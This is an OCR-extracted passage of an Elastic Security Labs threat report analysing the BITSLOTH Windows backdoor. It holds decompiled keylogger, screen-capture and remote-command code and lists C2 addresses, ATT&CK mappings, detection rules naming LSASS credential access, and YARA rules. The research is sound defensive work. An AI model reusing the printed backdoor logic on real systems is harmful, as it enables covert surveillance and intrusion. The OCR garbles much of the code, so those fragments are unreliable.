GetDIBits(hdc, h, @, clines, lpBuffer, &bmi, @);
hFile = CreateFileA(lpFilelame, @x40000000u, @, @, 2u, @xB80u, 0);
if ( hFile == -1)
{
hFile = @;
LastError = GetlLastError();
des::logging(L" [ CaptureImage] CreateFileA Error... %d", LastError);
}

Alen

BITSLOTH screen capture using Windows APIs

For recording keystrokes, BITSLOTH uses traditional techniques by monitoring key presses using

This data is also compressed ina .ZIP file and sent outbound to the C2 server.
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logger time = 1088 * wtoi(ctx-»>p_data buffer);

logger(L"[KeyLogger] dwlLoggerTime : %#d", logger time);

TempPathll = GetTempPathl(@x104u, temp path);

if ( !TempPathW || (TempPathW = GetTempPathA(@x104u, logger path)) == @ )
{

va[8] = ;
empty func();
return -1;

¥
lstrepyW(zip_path, temp path);

lstrcatW(zip path, L"klfayzklg");

lstrepyW(v3l, temp _path);

lstrcatW(v3l, L"klfaybcd™);

lstrcatA(logger path, "klfaybcd™);

logger (" [KeylLogger] scloggerFilePath : %s", logger path);
logger(L" [KeyLogger] szZipFilePath : %s", zip path);

Keylogger functionality inside BITSLOTH
Execution / Maintenance

BITSLOTH has multiple capabilities around maintenace and file execution as well as standard backdoor functionalities

such as:

o Capability to execute files stand-alone via ShellExecuteW

¢ Windows terminal capability to execute commands and read data back via pipes

o Create directories, perform reboots, shutdown the machine, terminate processes

¢ Perform file upload and download between C2 server

¢ Modify BITSLOTH configuration such as communication modes, update C2 URL, turn off keylogging/screenshot

features

HIWORD(vE) = *vid++;
while ( HIWORD(vS8) );
des::logging(L" [RunCmd] wcCommand=%s, dwWrite=%d (-2)", lpWideCharStr);
memset(MultiByteStr, @, sizeof(MultiByteStr));
cbMultiByte = WideCharToMultiByte(1lu, @, lpWideCharStr, -1, @, 8, @, @);
if ( WideCharToMultiByte(1lu, @, lpWideCharStr, -1, MultiByteStr, cbMultiByte, @, @) > @ )
{
v13 = MultiByteStr;
vl3 += strlen(viz) + 1;
nlumberQfBytesTolrite = v13 - &MultiByteStr[1];
des::logging("[RunCmd] After WideCharToMultiByte pCMD=%s, len=%d", MultiByteStr);
WriteFile(v15[1], MultiByteStr, v13 - &MultiByteStr[1], &NumberOfBytesWritten, @);
des::logging(L"[RunCmd] dwRealWrite=%d (-2)", NumberOfByteslritten);
Sleep(Ox1F4u);
Stream = _wfopen(Filelame, L"at+");
if ( Stream )
{
des::logging(L" [RunCmd] Ready to write result to file...", &WwultiByteStr[1]);
while ( !vi6 )
{
memset(Buffer, @, sizeof(Buffer));
while { PeekNamedPipe(*v15, Buffer, @x4@0u, &BytesRead, &ElementCount, @) && BytesRead )

{
if ( Buffer[BytesRead - 1] != 16 )
{
des::logging(L"[RunCmd] End.", MNumberOfByteskhiritten);
vl = 1;
¥

ReadFile(*v15, Buffer, ElementCount, &NumberOfBytesRead, @);

v8 = ElementCount;

des::logging(L"[RunCmd] Write file...dwRead=%d, dwTotalBytesAvail=%d", NumberOfBytesRead);
fwrite(Buffer, 1lu, ElementCount, Stream);

Sleep(Bx6du) ;
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BITSLOTH’s CMD terminal
BITSLOTH pivots

BITSLOTH appears to be actively deployed. We identified another BITSLOTH C2 server ( 15.235.132[.]67 ) using the
same port ( 8443 ) with the same SSL certificate used from our intrusion.

’. SHODAN Explore Downloads Pricing ssl.cert.serial:253c1c0bbf58e1f509fc4468de462ed8872f81d9 n

Ll 2ol & View Report I View on Map

2 Partner Spotlight: Looking for a Splunk alternative to store all the Shodan data? Check out Gravwell
TOP COUNTRIES Error response [/
216.238.121.132 © SsL Certificate HTTP/1.1 484 [GET] File not found
Issued By, Server: *** Python/2.7.18
i |- Organization: Date: Wed, 26 Jun 2024 19:40:83 GMT
B grazil Osasco Internet widgits Pty Ltd Connection: close
Type: o
m roa— Content-Type: text/html
Internet Widgits Pty Ltd
Brazil 1 Supported SSL Versions
TLSVA, TLSWA.1, TLSWA.2
Singapore 1
TOP ORGANIZATIONS Error response [/
OVH SAS 1 1 7 © SSL Certificate HTTP/1.1 404 [GET] File not found
Issued By Server: *** Python/2.7.13
The Constant Company, LLC 1 s |- Organization: Date: Mon, 24 Jun 2024 09:54:32 GHT
Singapore, Singapore Internet Widgits Pty Lta Connection: close

Content-Type: text/htal
Issued To:

|- Organization:
Internet Widgits Pty Ltd

Supported SSL Versions
TLSVI, TLSVI1, TLSV1.2

Shodan SSL certificate matches

While it’s not exactly clear who’s behind BITSLOTH, there was a large amount of activity of VirusTotal uploads occurring
on December 12, 2021. With around 67 uploads over 24 hours from one submitter ( 1fcc35ea ), we suspect someone
linked to this project was validating detections, making modifications, and uploading different versions of BITSLOTH to

VirusTotal. One sample was packed with VMProtect, others stripped of functionality, some uploads were debug builds,
etc.

Submissions
Uploads of the file being studied. Reanalysis requests do not generate a submission.
Date Region Mame Source

2021-12-15 05:43:47 UTC Bl CHINA Slavervmp.exe & lfcc3Sea-web

BITSLOTH - VirusTotal Submitter (1fcc35ea)

A lot of time has passed since then, but it is interesting seeing this family show up in a recent intrusion. Whatever the

objective behind this malware, it's surprising that this family remained under the radar for so many years.
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Debug codeview names (i) 0o -

litems F:\k\code\w5\RMC - BZ=\Debug\s.pdb
litems F\ki3\github\bits\RMC\Debug\Slaver.pdb

litems F:\ki3\github'\bits\RMC\Release\Slaver.pdb

Different PDB paths from BITSLOTH uploads

REF 8747 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced

persistent threats use against enterprise networks.

[h4] Tactics Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for

performing an action.

e Collection

e Command and Control
e Discovery

e Execution

» Exfiltration

o Persistence
Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

e BITS Jobs
 System Information Discovery
» Hijack Execution Flow: DLL Side-Loading

e Screen Capture

 Input Capture: Keylogging

e Proxy
Detecting REF8747

Detection

The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:

 Persistence via BITS Job Notify Cmdline

e LSASS Access Attempt via PPL. Bypass

o LSASS Access Attempt from an Unsigned Executable
 Suspicious Parent-Child Relationship

e Credential Access via Known Utilities

¢ Shellcode Injection

YARA Signatures
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o Windows.Hacktool.Mimikatz
o Windows.Trojan.BITSloth

o Windows.Hacktool.lox

o Windows.Hacktool.Rubeus

o Windows.Hacktool.Certify

e Windows.Hacktool.RingQ

o Windows.Hacktool.GodPotato

o Multi.Hacktool.Stowaway

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify BITSLOTH:

rule Windows_Tro
meta:
author =
creation_
last_modi
os = "Win

arch = "x

jan_BITSLOTH_@5fc3afa {

"Elastic Security"
date = "2024-07-16"
fied = "2024-07-18"
dows"

86"

threat_name = "Windows.Trojan.BITSLOTH"

license

strings:
$str_1 =
$str 2 =
$str_3 =
$str 4 =
$str 5 =
$str 6 =
$str_7 =

= "Elastic License v2"

"/%s/index.htm?RspID=%d" wide fullword

"/%s/%08x.rpl" wide fullword

"/%s/wu.htm" wide fullword

"GET_DESKDOP" wide fullword
"http://updater.microsoft.com/index.aspx" wide fullword

"[U] update error..." wide fullword

"RMC_KERNEL ..." wide fullword

$seq_global_protocol_check = { 81 3D ?? ?? 27 ?? F9 03 00 00 B9 AC OF 00 00 OF 46 C1 }

$seq_exit
condition:
2 of them
}
Observations

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following obse

Observable

4a4356faad620bf12ff53bcfac62e12eb67783bd22e66bf00al9a4c404bf45df

rvables were discussed in this research.
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Type

_windows = { 59 85 CO OF 84 ?? 7?2 22 ?? E9 ?? 277 77 77 6A 02 EB ?? 56 EB }

Name

s.dll

Reference

BITSLOTH


https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Mimikatz.yar
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BITSloth.yar
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Iox.yar
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Rubeus.yar
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Certify.yar
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_RingQ.yar
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_GodPotato.yar
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Hacktool_Stowaway.yar
https://github.com/elastic/labs-releases/tree/main/indicators/bitsloth
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Observable Type Name Reference
SHA-
dfb76bcf5a3e29225559ebbdae8bdd2469262492eca2f99f7a9525628006d88 - 125.exe BITSLOTH
SHA-
4fb6dd11e723209d12b2d503a9fcf94d8fed6084aceca390ac0b7e7da1874f50 ’c6 setup_wm.exe BITSLOTH
SHA-
0944b17a4330e1c97600f62717d6bae7e4a4260604043f2390a14c8d76ef1507 See 1242 .exe BITSLOTH
SHA- BITSLOTH
0f9c0d9b77678d7360e492e00a7fa00af9b78331dc926b0747b07299b4eb64afd setup_wm.exe
256 (VMProtect)

ipv4-  BITSLOTH C2

216.238.121[.]132
addr server

ipv4-  BITSLOTH C2

45.116.13[.]178
addr server

ipv4-  BITSLOTH C2

15.235.132[.]67
addr server

BITSLOTH
http ://updater.microsoft.com/index.aspx file

indicator

BITSLOTH
updater.microsoft.com file

indicator
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About Elastic Security Labs

Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat
landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic,
operational, and tactical adversary objectives, then integrates that research with the built-in detection and response

capabilities of Elastic Security.

Follow Elastic Security Labs on Twitter @elasticseclabs and check out our research at www.elastic.co/security-labs/.

Page 21 of 22


https://github.com/SafeBreach-Labs/SimpleBITSServer/tree/master
https://github.com/T4y1oR/RingQ
https://github.com/EddieIvan01/iox
https://github.com/ph4ntonn/Stowaway/
https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor
https://www.elastic.co/security-labs/

https://www.elastic.co/security-labs/bits-and-bytes-analyzing-bitsloth

Source: https://www.elastic.co/security-labs/bits-and-bytes-analyzing-bitsloth

Page 22 of 22



